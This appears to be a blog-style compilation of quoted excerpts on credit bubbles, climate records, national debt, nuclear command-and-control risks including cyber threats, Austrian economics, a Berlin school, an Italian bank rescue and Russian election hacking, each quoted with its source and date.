It’s now an all-too-familiar Bubble Dynamic. The greater the Bubble inflates, the more impervious it becomes to cautious “tightening” measures. And the longer the accommodative backdrop fuels only more precarious Bubble Dynamics, the more certain it becomes that central bankers will approach monetary tightening timidly. Yellen confirmed to the markets Wednesday that the Fed would remain timid – still focused on some theoretical “neutral rate” and seemingly oblivious to conspicuous financial market excess. The fixation remains on consumer prices that are running just a tad under its 2% target. Meanwhile, runaway securities market inflation is completely disregarded.'

- Doug Noland, Another Missed Opportunity, March 18, 2017


'..In terms of Credit Bubble momentum, it’s notable that Net Worth inflated over $2.0 TN in both Q3 and Q4.'

'The unprecedented amount of system-wide debt is so enormous that the annual percentage gains no longer appear as alarming. Non-Financial Debt expanded 4.7% in 2016, up from 2015’s 4.4%. Total Household Debt expanded 3.6%, with Total Business borrowings up 5.6%. Financial Sector borrowings expanded 2.9% last year, the strongest expansion since 2008.

Securities markets remain the centerpiece of this long reflationary cycle. Total (debt and equities) Securities jumped $1.50 TN during Q4 to a record $80.344 TN, with a one-year rise of $4.80 TN. As a percentage of GDP, Total Securities increased to 426% from the year ago 415%. For comparison, Total Securities peaked at $55.3 TN during Q3 2007, or 379% of GDP. At the previous Q1 2000 cycle peak, Total Securities had reached $36.0 TN, or 359% of GDP.

The Household Balance Sheet also rather conspicuously illuminates Bubble Dynamics. Household Assets surged $6.0 TN during 2016 to a record $107.91 TN ($9.74 TN 2-yr gain). This compares to the peak Q3 2007 level of $81.9 TN and $70.0 TN to end 2008. Q4 alone saw Household Assets inflate $2.192 TN, with Financial Assets up $1.589 TN and real estate gaining $557bn.

With Household Liabilities increasing $473bn over the past year, Household Net Worth (assets minus liabilities) inflated a notable $5.518 TN in 2016 to a record $92.805 TN. As a percentage of GDP, Net Worth rose to a record 492%. For comparison, Household Net Worth-to-GDP ended 1999 at 435% ($43.1 TN) and 2007 at 453% ($66.5 TN). Net Worth fell to a cycle low 378% of GDP ($54.4TN) in Q1 2009. In terms of Credit Bubble momentum, it’s notable that Net Worth inflated over $2.0 TN in both Q3 and Q4.

..

UBS analysts forecast (above) $3.3 TN of 2017 Chinese Total Social Financing (TSF). And with TSF excluding national government deficit spending, let’s add another $300bn and presume 2017 Chinese system Credit growth of around $3.6 TN. As such, it’s possible that China and the U.S. could combine for Credit growth approaching an Unparalleled $6.0 TN. There are, as well, indications of an uptick in lending in the euro zone, and Credit conditions for the most part remain loose throughout EM. Importantly, the inflationary biases that have gained momentum in asset and securities markets and, increasingly, in consumer prices and corporate profits provide a tailwind for Credit expansion.'

- Doug Noland, Unparalleled Credit and Global Yields, March 10, 2017


Context

'..the S&P 500 is now far more overvalued than in 2000, 2007, or indeed in any prior point in history..'

          'The WMO says that the "extreme and unusual" climate and weather trends have continued into 2017..' (no replies)        
'The WMO says that the "extreme and unusual" climate and weather trends have continued into 2017. At least three times this winter, the Arctic experienced the equivalent of a heatwave, as powerful Atlantic storms drove warm, moist air into the region.

Changes in the Arctic and the melting of sea-ice are also leading to a shift in atmospheric circulation patterns impacting other parts of the world. This is causing unusual heat in some areas - In the US, over 11,000 warm temperature records were broken in early 2017.

"Even without a strong El Niño in 2017, we are seeing other remarkable changes across the planet that are challenging the limits of our understanding of the climate system. We are now in truly uncharted territory," said David Carlson, World Climate Research Programme Director at the WMO.

In the face of all this information, climate researchers around the world are irked by the attitude of the Trump government in Washington.'

- Matt McGrath, 'Extreme and unusual' climate trends continue after record 2016, March 21, 2017


Context

Update (February 11, 2017) - '..ethical standards..' ('.. Dr. Bates appeared to distance himself from some of what he wrote in the blog post..')

'..Earth is warming more rapidly than previously thought was correct..'

          (Banking Reform - Monetary Reform) - '..debt is our biggest security threat..' (no replies)        
'Now that he is president, Trump likes to tout the fact he’s listening to America’s generals. Perhaps he needs to talk to General Mike Millen, the former Chairman of the Joint Chiefs of Staff. Perhaps then he would see that the greatest threat America faces isn’t from China, Russia, or North Korea – it is from the national debt. Until Trump reverses course on military spending, and gets tough on entitlements, his "America First" budget will only make the US worse off.'

- Tho Bishop (Source, March 20, 2017)


'..a crippling national debt..'

'Under a Republican budget resolution, the national debt will explode by a third from an already staggering $19 billion to $29 trillion over the next ten years. Although counterintuitive, Democratic presidents, at least those after World War II, have reduced deficits as a portion of the value of the national economy (GDP) while Republican presidents have increased them — thus accumulating less public debt as a percentage of GDP. Yet neither political party has paid enough attention to this burgeoning national security problem.

National security problem? Yes. General Mike Mullen, while he was Chairman of the Joint Chiefs of Staff, the nation’s top military man, was enlightened enough about long-term health of American power to realize that it takes continuing infusions of money to acquire the weapons and equipment, personnel, training, maintenance and benefits to create a credible military to adequately defend the country. In addition, all other indices of national power — political, diplomatic and cultural — require money too.

To generate those resources, a strong economy is needed. The number one problem dragging down economic growth rates through the George W. Bush and Barack Obama presidencies was a crippling national debt..'

- Ivan Eland, National debt is our biggest security threat: Column, January 11, 2017


Context

'..World Debt Hits $152 Trillion.'

'Our nation and the world are paying a very heavy price for a failed experiment in Inflationism..' - Doug Noland

'..Global policies since the 2008 crisis have spurred the expansion of speculative finance to multiples of pre-crisis levels..'


'Germany Plans to Cut 2017 Debt Sales .. Balanced-Budget..'

'..monetary knowledge .. of currency reform under difficult conditions you have to go to Carl Menger.'

(Banking Reform - Monetary Reform) - '..The Theory of Money and Credit .. an invaluable guide for ending the business cycles of our own time.'


(Banking Reform - English/Dutch) '..a truly stable financial and monetary system for the twenty-first century..'

          'We have no experience in stopping a nuclear war.' - Sidney Drell (no replies)        
'..My greatest concern is the lack of public awareness about this existential threat, the absence of a vigorous public debate about the nuclear-war plans of Russia and the United States, the silent consent to the roughly fifteen thousand nuclear weapons in the world. These machines have been carefully and ingeniously designed to kill us. Complacency increases the odds that, some day, they will. The “Titanic Effect” is a term used by software designers to explain how things can quietly go wrong in a complex technological system: the safer you assume the system to be, the more dangerous it is becoming.'

'The harsh rhetoric on both sides increases the danger of miscalculations and mistakes, as do other factors. Close encounters between the military aircraft of the United States and Russia have become routine, creating the potential for an unintended conflict. Many of the nuclear-weapon systems on both sides are aging and obsolete. The personnel who operate those systems often suffer from poor morale and poor training. None of their senior officers has firsthand experience making decisions during an actual nuclear crisis. And today’s command-and-control systems must contend with threats that barely existed during the Cold War: malware, spyware, worms, bugs, viruses, corrupted firmware, logic bombs, Trojan horses, and all the other modern tools of cyber warfare. The greatest danger is posed not by any technological innovation but by a dilemma that has haunted nuclear strategy since the first detonation of an atomic bomb: How do you prevent a nuclear attack while preserving the ability to launch one?

..

..the Cuban Missile Crisis, when a series of misperceptions, miscalculations, and command-and-control problems almost started an accidental nuclear war—despite the determination of both John F. Kennedy and Nikita Khrushchev to avoid one. In perhaps the most dangerous incident, the captain of a Soviet submarine mistakenly believed that his vessel was under attack by U.S. warships and ordered the firing of a torpedo armed with a nuclear warhead. His order was blocked by a fellow officer. Had the torpedo been fired, the United States would have retaliated with nuclear weapons. At the height of the crisis, while leaving the White House on a beautiful fall evening, McNamara had a strong feeling of dread—and for good reason: “I feared I might never live to see another Saturday night.”

..

The personnel who command, operate, and maintain the Minuteman III have also become grounds for concern. In 2013, the two-star general in charge of the entire Minuteman force was removed from duty after going on a drunken bender during a visit to Russia, behaving inappropriately with young Russian women, asking repeatedly if he could sing with a Beatles cover band at a Mexican restaurant in Moscow, and insulting his military hosts. The following year, almost a hundred Minuteman launch officers were disciplined for cheating on their proficiency exams. In 2015, three launch officers at Malmstrom Air Force Base, in Montana, were dismissed for using illegal drugs, including ecstasy, cocaine, and amphetamines. That same year, a launch officer at Minot Air Force Base, in North Dakota, was sentenced to twenty-five years in prison for heading a violent street gang, distributing drugs, sexually assaulting a girl under the age of sixteen, and using psilocybin, a powerful hallucinogen. As the job title implies, launch officers are entrusted with the keys for launching intercontinental ballistic missiles.

..

..A recent memoir, “Uncommon Cause,” written by General George Lee Butler, reveals that the Pentagon was not telling the truth. Butler was the head of the U.S. Strategic Command, responsible for all of America’s nuclear weapons, during the Administration of President George H. W. Bush.

According to Butler and Franklin Miller, a former director of strategic-forces policy at the Pentagon, launch-on-warning was an essential part of the Single Integrated Operational Plan (siop), the nation’s nuclear-war plan. Land-based missiles like the Minuteman III were aimed at some of the most important targets in the Soviet Union, including its anti-aircraft sites. If the Minuteman missiles were destroyed before liftoff, the siop would go awry, and American bombers might be shot down before reaching their targets. In order to prevail in a nuclear war, the siop had become dependent on getting Minuteman missiles off the ground immediately. Butler’s immersion in the details of the nuclear command-and-control system left him dismayed. “With the possible exception of the Soviet nuclear war plan, [the siop] was the single most absurd and irresponsible document I had ever reviewed in my life,” Butler concluded. “We escaped the Cold War without a nuclear holocaust by some combination of skill, luck, and divine intervention, and I suspect the latter in greatest proportion.” The siop called for the destruction of twelve thousand targets within the Soviet Union. Moscow would be struck by four hundred nuclear weapons; Kiev, the capital of the Ukraine, by about forty.

After the end of the Cold War, a Russian surprise attack became extremely unlikely. Nevertheless, hundreds of Minuteman III missiles remained on alert. The Cold War strategy endured because, in theory, it deterred a Russian attack on the missiles. McNamara called the policy “insane,” arguing that “there’s no military requirement for it.” George W. Bush, while running for President in 2000, criticized launch-on-warning, citing the “unacceptable risks of accidental or unauthorized launch.” Barack Obama, while running for President in 2008, promised to take Minuteman missiles off alert, warning that policies like launch-on-warning “increase the risk of catastrophic accidents or miscalculation.” Twenty scientists who have won the Nobel Prize, as well as the Union of Concerned Scientists, have expressed strong opposition to retaining a launch-on-warning capability. It has also been opposed by former Secretary of State Henry Kissinger, former Secretary of State George Shultz, and former Senator Sam Nunn. And yet the Minuteman III missiles still sit in their silos today, armed with warheads, ready to go.

William J. Perry, who served as Secretary of Defense during the Clinton Administration, not only opposes keeping Minuteman III missiles on alert but advocates getting rid of them entirely. “These missiles are some of the most dangerous weapons in the world,” Perry wrote in the Times, this September. For many reasons, he thinks the risk of a nuclear catastrophe is greater today than it was during the Cold War. While serving as an Under-Secretary of Defense in 1980, Perry also received a late-night call about an impending Soviet attack, a false alarm that still haunts him. “A catastrophic nuclear war could have started by accident.”

Bruce Blair, a former Minuteman launch officer, heads the anti-nuclear group Global Zero, teaches at Princeton University, and campaigns against a launch-on-warning policy. Blair has described the stresses that the warning of a Russian attack would put on America’s command-and-control system. American early-warning satellites would detect Russian missiles within three minutes of their launch. Officers at norad would confer for an additional three minutes, checking sensors to decide if an attack was actually occurring. The Integrated Tactical Warning/Attack System collects data from at least two independent information sources, relying on different physical principles, such as ground-based radar and satellite-based infrared sensors. If the norad officials thought that the warning was legitimate, the President of the United States would be contacted. He or she would remove the Black Book from a briefcase carried by a military aide. The Black Book describes nuclear retaliatory options, presented in cartoon-like illustrations that can be quickly understood.

..

Although the Air Force publicly dismissed the threat of a cyberattack on the nuclear command-and-control system, the incident raised alarm within the Pentagon about the system’s vulnerability. A malfunction that occurred by accident might also be caused deliberately. Those concerns were reinforced by a Defense Science Board report in January, 2013. It found that the Pentagon’s computer networks had been “built on inherently insecure architectures that are composed of, and increasingly using, foreign parts.” Red teams employed by the board were able to disrupt Pentagon systems with “relative ease,” using tools available on the Internet. “The complexity of modern software and hardware makes it difficult, if not impossible, to develop components without flaws or to detect malicious insertions,” the report concluded.

In a recent paper for the Royal United Services Institute for Defence and Security Studies, Andrew Futter, an associate professor at the University of Leicester, suggested that a nuclear command-and-control system might be hacked to gather intelligence about the system, to shut down the system, to spoof it, mislead it, or cause it to take some sort of action—like launching a missile. And, he wrote, there are a variety of ways it might be done.

..

Strict precautions have been taken to thwart a cyberattack on the U.S. nuclear command-and-control system. Every line of nuclear code has been scrutinized for errors and bugs. The system is “air-gapped,” meaning that its networks are closed: someone can’t just go onto the Internet and tap into a computer at a Minuteman III control center. At least, that’s the theory. Russia, China, and North Korea have sophisticated cyber-warfare programs and techniques. General James Cartwright—the former head of the U.S. Strategic Command who recently pleaded guilty to leaking information about Stuxnet—thinks that it’s reasonable to believe the system has already been penetrated. “You’ve either been hacked, and you’re not admitting it, or you’re being hacked and don’t know it,” Cartwright said last year.

If communications between Minuteman control centers and their missiles are interrupted, the missiles can still be launched by ultra-high-frequency radio signals transmitted by special military aircraft. The ability to launch missiles by radio serves as a backup to the control centers—and also creates an entry point into the network that could be exploited in a cyberattack. The messages sent within the nuclear command-and-control system are highly encrypted. Launch codes are split in two, and no single person is allowed to know both parts. But the complete code is stored in computers—where it could be obtained or corrupted by an insider.

Some of America’s most secret secrets were recently hacked and stolen by a couple of private contractors working inside the N.S.A., Edward Snowden and Harold T. Martin III, both employees of Booz Allen Hamilton. The N.S.A. is responsible for generating and encrypting the nuclear launch codes. And the security of the nuclear command-and-control system is being assured not only by government officials but also by the employees of private firms, including software engineers who work for Boeing, Amazon, and Microsoft.

Lord Des Browne, a former U.K. Minister of Defense, is concerned that even ballistic-missile submarines may be compromised by malware. Browne is now the vice-chairman of the Nuclear Threat Initiative, a nonprofit seeking to reduce the danger posed by weapons of mass destruction, where he heads a task force examining the risk of cyberattacks on nuclear command-and-control systems. Browne thinks that the cyber threat is being cavalierly dismissed by many in power. The Royal Navy’s decision to save money by using Windows for Submarines, a version of Windows XP, as the operating system for its ballistic-missile subs seems especially shortsighted. Windows XP was discontinued six years ago, and Microsoft warned that any computer running it after April, 2014, “should not be considered protected as there will be no security updates.” Each of the U.K. subs has eight missiles carrying a total of forty nuclear weapons. “It is shocking to think that my home computer is probably running a newer version of Windows than the U.K.’s military submarines,” Brown said.In 2013, General C. Robert Kehler, the head of the U.S. Strategic Command, testified before the Senate Armed Services Committee about the risk of cyberattacks on the nuclear command-and-control system. He expressed confidence that the U.S. system was secure. When Senator Bill Nelson asked if somebody could hack into the Russian or Chinese systems and launch a ballistic missile carrying a nuclear warhead, Kehler replied, “Senator, I don’t know . . . I do not know.”

After the debacle of the Cuban Missile Crisis, the Soviet Union became much more reluctant to provoke a nuclear confrontation with the United States. Its politburo was a committee of conservative old men. Russia’s leadership is quite different today. The current mix of nationalism, xenophobia, and vehement anti-Americanism in Moscow is a far cry from the more staid and secular ideology guiding the Soviet Union in the nineteen-eighties. During the past few years, threats about the use of nuclear weapons have become commonplace in Moscow. Dmitry Kiselyov, a popular newscaster and the Kremlin’s leading propagandist, reminded viewers in 2014 that Russia is “the only country in the world capable of turning the U.S.A. into radioactive dust.” The Kremlin has acknowledged the development of a nuclear torpedo that can travel more than six thousand miles underwater before devastating a coastal city. It has also boasted about a fearsome new missile design. Nicknamed “Satan 2” and deployed with up to sixteen nuclear warheads, the missile will be “capable of wiping out parts of the earth the size of Texas or France,” an official news agency claimed.

..

Russia’s greatest strategic vulnerability is the lack of a sophisticated and effective early-warning system. The Soviet Union had almost a dozen satellites in orbit that could detect a large-scale American attack. The system began to deteriorate in 1996, when an early-warning satellite had to be retired. Others soon fell out of orbit, and Russia’s last functional early-warning satellite went out of service two years ago. Until a new network of satellites can be placed in orbit, the country must depend on ground-based radar units. Unlike the United States, Russia no longer has two separate means of validating an attack warning. At best, the radar units can spot warheads only minutes before they land. Pavel Podvig, a senior fellow at the U.N. Institute for Disarmament Research, believes that Russia does not have a launch-on-warning policy—because its early-warning system is so limited.

For the past nine years, I’ve been immersed in the minutiae of nuclear command and control, trying to understand the actual level of risk. Of all the people whom I’ve met in the nuclear realm, Sidney Drell was one of the most brilliant and impressive. Drell died this week, at the age of ninety. A theoretical physicist with expertise in quantum field theory and quantum chromodynamics, he was for many years the deputy director of the Stanford Linear Accelerator and received the National Medal of Science from Obama, in 2013. Drell was one of the founding members of jason—a group of civilian scientists that advises the government on important technological matters—and for fifty-six years possessed a Q clearance, granting him access to the highest level of classified information. Drell participated in top-secret discussions about nuclear strategy for decades, headed a panel that investigated nuclear-weapon safety for the U.S. Congress in 1990, and worked on technical issues for jason until the end of his life. A few months ago, when I asked for his opinion about launch-on-warning, Drell said, “It’s insane, the worst thing I can think of. You can’t have a worse idea.”

Drell was an undergraduate at Princeton University when Hiroshima and Nagasaki were destroyed. Given all the close calls and mistakes in the seventy-one years since then, he considered it a miracle that no other cities have been destroyed by a nuclear weapon—“it is so far beyond my normal optimism.” The prospect of a new cold war—and the return of military strategies that advocate using nuclear weapons on the battlefield—deeply unnerved him. Once the first nuclear weapon detonates, nothing might prevent the conflict from spiralling out of control. “We have no experience in stopping a nuclear war,” he said.

..

Donald Trump and Vladimir Putin confront a stark choice: begin another nuclear-arms race or reduce the threat of nuclear war. Trump now has a unique opportunity to pursue the latter, despite the bluster and posturing on both sides. His admiration for Putin, regardless of its merits, could provide the basis for meaningful discussions about how to minimize nuclear risks. Last year, General James Mattis, the former Marine chosen by Trump to serve as Secretary of Defense, called for a fundamental reappraisal of American nuclear strategy and questioned the need for land-based missiles. During Senate testimony, Mattis suggested that getting rid of such missiles would “reduce the false-alarm danger.” Contrary to expectations, Republican Presidents have proved much more successful than their Democratic counterparts at nuclear disarmament. President George H. W. Bush cut the size of the American arsenal in half, as did his son, President George W. Bush. And President Ronald Reagan came close to negotiating a treaty with the Soviet Union that would have completely abolished nuclear weapons.

Every technology embodies the values of the age in which it was created. When the atomic bomb was being developed in the mid-nineteen-forties, the destruction of cities and the deliberate targeting of civilians was just another military tactic. It was championed as a means to victory. The Geneva Conventions later classified those practices as war crimes—and yet nuclear weapons have no other real use. They threaten and endanger noncombatants for the sake of deterrence. Conventional weapons can now be employed to destroy every kind of military target, and twenty-first-century warfare puts an emphasis on precision strikes, cyberweapons, and minimizing civilian casualties. As a technology, nuclear weapons have become obsolete. What worries me most isn’t the possibility of a cyberattack, a technical glitch, or a misunderstanding starting a nuclear war sometime next week. My greatest concern is the lack of public awareness about this existential threat, the absence of a vigorous public debate about the nuclear-war plans of Russia and the United States, the silent consent to the roughly fifteen thousand nuclear weapons in the world. These machines have been carefully and ingeniously designed to kill us. Complacency increases the odds that, some day, they will. The “Titanic Effect” is a term used by software designers to explain how things can quietly go wrong in a complex technological system: the safer you assume the system to be, the more dangerous it is becoming.'

- Eric Schlosser, World War Three, By Mistake, December 23, 2016


Context

The International Day for the Total Elimination of Nuclear Weapons

          (Haptopraxeology) - Students of Civilization (no replies)        
'I remain optimistic, but even more cautiously than before. If 2016 taught me anything, it was that we economists should stick to our jobs as "students of civilization" as the founding members of the Austrian School saw their intellectual mission.

..

..We have the tools and mentality to be 'students of civilization" as our intellectual tradition demands.'

- Peter Boettke, 2016: A Year in a Life, December 29, 2016


'This book argues that the work of the Austrian economists, including Carl Menger, Joseph Schumpeter, Ludwig von Mises and Friedrich Hayek, has been too narrowly interpreted. Through a study of Viennese politics and culture, it demonstrates that the project they were engaged in was much broader: the study and defense of a liberal civilization. Erwin Dekker shows the importance of the civilization in their work and how they conceptualized their own responsibilities toward that civilization, which was attacked left and right during the interwar period. Dekker argues that what differentiates their position is that they thought of themselves primarily as students of that civilization rather than as social scientists, or engineers. This unique focus and approach is related to the Viennese setting of the circles, which constitute the heart of Viennese intellectual life in the interwar period.

• Corrects the one-sided view on Austrian economists which dominates the literature • Investigates how economics was transformed into a modern engineering science and what was lost in the process • Helps the reader understand how the Austrian economists regarded their role and responsibilities as scholars and citizens'

- The Viennese Students of Civilization, 2014


Context 'A judgment of value .. a man's affective response to definite conditions of the universe..' - Ludwig von Mises

'..dismantle the Marxist myth..' - 'Karl Marx, False consciousness'

(Bazaarmodel - To Heal - Teal) - '..is it possible to build a truly Evolutionary-Teal school?'

(The Electric Universe) - SAFIRE as Astrophysical Laboratory | EU2016


The Christmas Truce of 1914 - '..what might have happened if the truce had spread and this had caused the war to end earlier..'

(To Heal - Teal - Bazaarmodel) - Striving for wholeness '..We have let our busy egos trump the quiet voice of our soul; many cultures often celebrate the mind and neglect the body..'

'..how socialism actually produces a superclass of elites and a form of socio-economic apartheid..'


Presentation: Phase I (2012 - 2022) - The Beginning

          '..dismantle the Marxist myth..' - 'Karl Marx, False consciousness' (no replies)        
'Every once in a while, even The Economist gets it right. In a review of an intellectual biography of Marx (Karl Marx: Greatness and Illusion), published this past fall, they argue that “the myth is more impressive than the reality”. Echoing, in fact, several arguments from the book—written, surprisingly enough, by a scholar with Marxist leanings—, they point out how out of step Marx was with the theoretical developments of 19th century economics, and how dense and often nonsensical his writings were.

As refreshing as it may be, this perspective on Marx is hardly a new one. We know that throughout his work, Ludwig von Mises has exploded many of the fallacies of the Marxist school of thought, particularly those concerning the workings of a socialist system and the idea of class struggle. But Mises had, in several of his publications, also criticized the myth of Marx, pointing out inconsistencies and errors in his research, as well as criticizing his writing style.

Even if it will take a long time to dismantle the Marxist myth, I’d like to think that it will be Mises’s view of the world that will prevail.'

- Carmen Elena Dorobat, Mises on the Myth of Marx, December 26, 2016


'..Karl Marx .. the myth is more impressive than the reality.'

'COMMUNISM collapsed nearly 30 years ago, but the influence of Karl Marx lives on. Marxist approaches are found in some of the most interesting history and sociology being published today. Marx’s works, including “The Communist Manifesto”, written with Friedrich Engels in 1848, may have had more impact on the modern world than many suppose. Of the manifesto’s ten principal demands, perhaps four have been met in many rich countries, including “free education for all children in public schools” and a “progressive or graduated income tax”.

..

The overriding impression from this book is that Marx’s reputation (at least in some quarters) as an unrivalled economist-philosopher is wide of the mark. Marx had planned to write “Capital” in multiple volumes. He finished the first. But when it came to writing the second, on realising that he would face insurmountable intellectual hurdles, he pleaded illness (though seemed quite able to do other sorts of research). “Karl” was in the thick of the intellectual developments of the 19th century. But the myth is more impressive than the reality.'

- The Economist, Karl Marx, False consciousness, August 25, 2016


Context (Praxeology) - '..Menger’s experience stressed subjective factors..'

(Praxeology) - '..his or her subjective values .. to explain all economic phenomena as the results of what people do..'

(Praxeology) - 'Economics .. is about human choice and action.' - '..books by Mises, Rothbard and Hayek are already translated .. online bookstore in China..'

(Praxeology) - Savings - Economic Growth - 'We Need More Wealth, Not Necessarily More Employment' - Entrepreneurship


'..You really have to be able to think about the post-bureaucratic world..'

'..economic growth cannot be conjured into being by top-down interventionism in the form of monetary pumping and deficit spending..'

' “Monetary policy… after all, is extremely important” – is an understatement.' - Doug Noland


'..have organizations that are more and more adaptable and far more humane..'

'When Jan Patocka wrote .. the phenomenon of human conscience..' - Václav Havel

'..the phenomenon of wave after wave of economic ups and downs is ideological in character..'


Praxeology '...the primordial fact of individual human action.'

          (Bazaarmodel - To Heal - Teal) - '..is it possible to build a truly Evolutionary-Teal school?' (no replies)        
'This factory-like system seems increasingly out of date. More and more people are crying out for innovation in education and starting to experiment with curricula, technologies, and governance in schools. But is it possible to build a truly Evolutionary-Teal school? And what would it look like? A superb example can be found in the center of Berlin in Germany. The “ESBZ” is a grade 7-12 school that opened its doors in 2007 with more than a bit of improvisation. Just three months before the start of the school year, the city council had suddenly given a decrepit prefabricated building from communist times to a group of pesky parents who simply wouldn’t let go of their dream. When the school year started, only 16 students were registered. A few months later, at the mid-year point, 30 more students had joined, mostly rejects and troublemakers other schools had expelled. Hardly a promising start for a new school. And yet today, only a few years later, the school has 500 students and attracts hundreds of principals, teachers, and education specialists from all over the country who want to study the ESBZ model.'

- Frederic Laloux, (Reinventing Organizations, Chapter 2.2 _ Self-management Structures), page 93


'..Yet unlike Sudbury, Montessori or Steiner schools, Rasfeld’s institution tries to embed student self-determination within a relatively strict system of rules. Students who dawdle during lessons have to come into school on Saturday morning to catch up, a punishment known as “silentium”. “The more freedom you have, the more structure you need,” says Rasfeld.

The main reason why the ESBC is gaining a reputation as Germany’s most exciting school is that its experimental philosophy has managed to deliver impressive results..'


'..At Oberländer’s school, there are no grades until students turn 15, no timetables and no lecture-style instructions. The pupils decide which subjects they want to study for each lesson and when they want to take an exam.

The school’s syllabus reads like any helicopter parent’s nightmare. Set subjects are limited to maths, German, English and social studies, supplemented by more abstract courses such as “responsibility” and “challenge”. For challenge, students aged 12 to 14 are given €150 (£115) and sent on an adventure that they have to plan entirely by themselves. Some go kayaking; others work on a farm. Anton went trekking along England’s south coast.

The philosophy behind these innovations is simple: as the requirements of the labour market are changing, and smartphones and the internet are transforming the ways in which young people process information, the school’s headteacher, Margret Rasfeld, argues, the most important skill a school can pass down to its students is the ability to motivate themselves.

“Look at three or four year olds – they are all full of self-confidence,” Rasfeld says. “Often, children can’t wait to start school. But frustratingly, most schools then somehow manage to untrain that confidence.”

The Evangelical School Berlin Centre (ESBC) is trying to do nothing less than “reinvent what a school is”, she says. “The mission of a progressive school should be to prepare young people to cope with change, or better still, to make them look forward to change. In the 21st century, schools should see it as their job to develop strong personalities.”

Making students listen to a teacher for 45 minutes and punishing them for collaborating on an exercise, Rasfeld says, was not only out of sync with the requirements of the modern world of work, but counterproductive. “Nothing motivates students more than when they discover the meaning behind a subject of their own accord.”

Students at her school are encouraged to think up other ways to prove their acquired skills, such as coding a computer game instead of sitting a maths exam. Oberländer, who had never been away from home for three weeks until he embarked on his challenge in Cornwall, said he learned more English on his trip than he had in several years of learning the language at school.

Germany’s federalised education structure, in which each of the 16 states plans its own education system, has traditionally allowed “free learning” models to flourish. Yet unlike Sudbury, Montessori or Steiner schools, Rasfeld’s institution tries to embed student self-determination within a relatively strict system of rules. Students who dawdle during lessons have to come into school on Saturday morning to catch up, a punishment known as “silentium”. “The more freedom you have, the more structure you need,” says Rasfeld.

The main reason why the ESBC is gaining a reputation as Germany’s most exciting school is that its experimental philosophy has managed to deliver impressive results..

..

Aged 65 and due to retire in July, Rasfeld still has ambitious plans. A four-person “education innovation lab” based at the school has been developing teaching materials for schools that want to follow the ESBC’s lead. About 40 schools in Germany are in the process of adopting some or all of Rasfeld’s methods. One in Berlin’s Weissensee district recently let a student trek across the Alps for a challenge project. “Things are only getting started,” says Rasfeld.

“In education, you can only create change from the bottom – if the orders come from the top, schools will resist. Ministries are like giant oil tankers: it takes a long time to turn them around. What we need is lots of little speedboats to show you can do things differently.” '

- Philip Oltermann, No grades, no timetable: Berlin school turns teaching upside down, July 1, 2016


Context

(To Heal - Teal - Bazaarmodel) - Striving for wholeness '..We have let our busy egos trump the quiet voice of our soul; many cultures often celebrate the mind and neglect the body..'

(Bazaarmodel - To Heal - Teal) - 'Your physical .. cultural .. soul heredity..'

(To Heal) - Overview of Focus Levels '..to areas of greater free will choice.'


(To Heal) - Overview of Focus Levels '..to areas of greater free will choice.'

          'Monte Paschi .. should be put into resolution, not bailed out.' (no replies)        
'A bank that has proved multiple times that it has no reason to exist should exit the market to allow stronger competitors to survive.'

'This isn’t Monte Paschi’s first state-aid rodeo. Italy bailed it out twice after the crisis when the lender failed stress tests, posted billions of euros of losses and creaked under a mountain of bad loans.

The bank’s track record has convinced some observers that it should be put into resolution, not bailed out. That would require a determination by the ECB that Monte Paschi is insolvent.

“A bank that has proved multiple times that it has no reason to exist should exit the market to allow stronger competitors to survive,” said Lutz Roehmeyer, a fund manager at Landesbank Berlin Investment in Berlin. “Permanent rescues make it impossible to clean up the market and achieve risk-adequate pricing.” '

- Boris Groendahl, Monte Paschi Rescue Pushes EU Bank-Failure Rules to the Brink, December 23, 2016


Context

'..the mismanagement and corruption of bankers and politicians in the 21st century.'

          '..Russia .. cyberpower proved the perfect weapon .. political sabotage..' (no replies)        
' “We’d have all these circular meetings,” one senior State Department official said, “in which everyone agreed you had to push back at the Russians and push back hard. But it didn’t happen.”

..

Mr. Putin, a student of martial arts, had turned two institutions at the core of American democracy — political campaigns and independent media — to his own ends..

..

..The Russians clearly had a more sophisticated understanding of American politics, and they were masters of “kompromat,” their term for compromising information.

..

..the hackings of the State Department, the White House and the Pentagon..

..

What seems clear is that Russian hacking, given its success, is not going to stop. Two weeks ago, the German intelligence chief, Bruno Kahl, warned that Russia might target elections in Germany next year. “The perpetrators have an interest to delegitimize the democratic process as such,” Mr. Kahl said. Now, he added, “Europe is in the focus of these attempts of disturbance, and Germany to a particularly great extent.” '



'..the White House’s reluctance to respond forcefully meant the Russians have not paid a heavy price for their actions, a decision that could prove critical in deterring future cyberattacks.

..

..President Vladimir V. Putin of Russia moved beyond mere espionage to deliberately try to subvert American democracy and pick the winner of the presidential election.

..

..A low-cost, high-impact weapon that Russia had test-fired in elections from Ukraine to Europe was trained on the United States, with devastating effectiveness. For Russia, with an enfeebled economy and a nuclear arsenal it cannot use short of all-out war, cyberpower proved the perfect weapon: cheap, hard to see coming, hard to trace.

..

The United States had two decades of warning that Russia’s intelligence agencies were trying to break into America’s most sensitive computer networks. But the Russians have always managed to stay a step ahead.

Their first major attack was detected on Oct. 7, 1996, when a computer operator at the Colorado School of Mines discovered some nighttime computer activity he could not explain. The school had a major contract with the Navy, and the operator warned his contacts there. But as happened two decades later at the D.N.C., at first “everyone was unable to connect the dots,” said Thomas Rid, a scholar at King’s College in London who has studied the attack.

Investigators gave it a name — Moonlight Maze — and spent two years, often working day and night, tracing how it hopped from the Navy to the Department of Energy to the Air Force and NASA. In the end, they concluded that the total number of files stolen, if printed and stacked, would be taller than the Washington Monument.

Whole weapons designs were flowing out the door, and it was a first taste of what was to come: an escalating campaign of cyberattacks around the world.

..

The Russians were also quicker to turn their attacks to political purposes. A 2007 cyberattack on Estonia, a former Soviet republic that had joined NATO, sent a message that Russia could paralyze the country without invading it. The next year cyberattacks were used during Russia’s war with Georgia.

..

Mr. Obama was briefed regularly on all this, but he made a decision that many in the White House now regret: He did not name Russians publicly, or issue sanctions. There was always a reason: fear of escalating a cyberwar, and concern that the United States needed Russia’s cooperation in negotiations over Syria.

“We’d have all these circular meetings,” one senior State Department official said, “in which everyone agreed you had to push back at the Russians and push back hard. But it didn’t happen.”

..

Last year, the attacks became more aggressive. Russia hacked a major French television station, frying critical hardware. Around Christmas, it attacked part of the power grid in Ukraine, dropping a portion of the country into darkness, killing backup generators and taking control of generators. In retrospect, it was a warning shot.

..

